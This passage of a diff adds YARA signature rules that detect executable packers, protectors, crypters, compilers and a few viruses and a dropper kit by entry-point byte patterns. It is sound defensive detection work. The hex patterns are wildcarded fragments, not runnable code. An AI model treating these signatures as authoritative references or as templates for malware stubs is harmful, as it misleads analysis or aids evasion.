+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _InstallAnywhere_61__Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 -> Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_v10_
+{
+	meta:
+		description = "Shrink v1.0"
+	strings:
+		$0 = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16c__Vaska_
+{
+	meta:
+		description = "RCryptor 1.6c -> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_v01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher v0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+	condition:
+		$0 at entrypoint
+}
+rule _ChinaProtect__dummy_
+{
+	meta:
+		description = "ChinaProtect -> dummy"
+	strings:
+		$0 = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0
+}
+rule _Armadillo_v410__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.10 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi DLL] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)"
+	strings:
+		$0 = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v640__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11V12_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-V1.2-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v60_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v6.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_4992__Bloodshed_Software_
+{
+	meta:
+		description = "Dev-C++ 4.9.9.2 -> Bloodshed Software"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v098_
+{
+	meta:
+		description = "PECompact v0.98"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V010V011__Dwing_
+{
+	meta:
+		description = "Upack V0.10-V0.11 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_v124__cyclotron_
+{
+	meta:
+		description = "EmbedPE v1.24 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_SVKP_111__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake SVKP 1.11) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v10__v11_
+{
+	meta:
+		description = "Soft Defender v1.0 - v1.1"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Anslym_Crypter_
+{
+	meta:
+		description = "Anslym Crypter"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Encrypt_10__Liwuyue_
+{
+	meta:
+		description = "PE Encrypt 1.0 -> Liwuyue"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v031_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.31 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v102__v104__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.04 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V10XV17X_DLL__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.X-V1.7.X DLL -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_10__NEX_
+{
+	meta:
+		description = "N-Joy 1.0 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyings_PEArmor_075exe__Hying_CCG_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying [CCG]"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _LTC_v13_
+{
+	meta:
+		description = "LTC v1.3"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_3035__Jtit_
+{
+	meta:
+		description = "Thinstall 3.035 -> Jtit"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+		$1 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeSmasher_vxx_
+{
+	meta:
+		description = "ExeSmasher vx.x"
+	strings:
+		$0 = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V13__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v110p1_
+{
+	meta:
+		description = "HACKSTOP v1.10p1"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v32a__emadicius_
+{
+	meta:
+		description = "[MSLRH] v32a -> emadicius"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+	condition:
+		$0 at entrypoint
+}
+rule _FishPE_V10X__hellfish_
+{
+	meta:
+		description = "FishPE V1.0X -> hellfish"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V028__shoooo_
+{
+	meta:
+		description = "KByS V0.28 -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v140b2__v140b4_
+{
+	meta:
+		description = "PECompact v1.40b2 - v1.40b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Kuku448_
+{
+	meta:
+		description = "Vx: Kuku.448"
+	strings:
+		$0 = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V31__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _GHF_Protector_pack_only__GPcH_
+{
+	meta:
+		description = "GHF Protector (pack only) --> GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+		$1 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Vx_Necropolis_
+{
+	meta:
+		description = "Vx: Necropolis"
+	strings:
+		$0 = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DEF_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DEF 1.0] --> Anorganix"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__WinRARSFX_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX"
+	strings:
+		$0 = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+		$1 = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Lock_NT_v201_
+{
+	meta:
+		description = "PE Lock NT v2.01"
+	strings:
+		$0 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Dropper_Creator_V01__Conflict_
+{
+	meta:
+		description = "Dropper Creator V0.1 -> Conflict"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+	condition:
+		$0
+}
+rule _PureBasic_DLL__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic DLL -> Neil Hodgson"
+	strings:
+		$0 = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v156_
+{
+	meta:
+		description = "PECompact v1.56"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v016b__v0163b_
+{
+	meta:
+		description = "CodeCrypt v0.16b - v0.163b"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v200_
+{
+	meta:
+		description = "Armadillo v2.00"
+	strings:
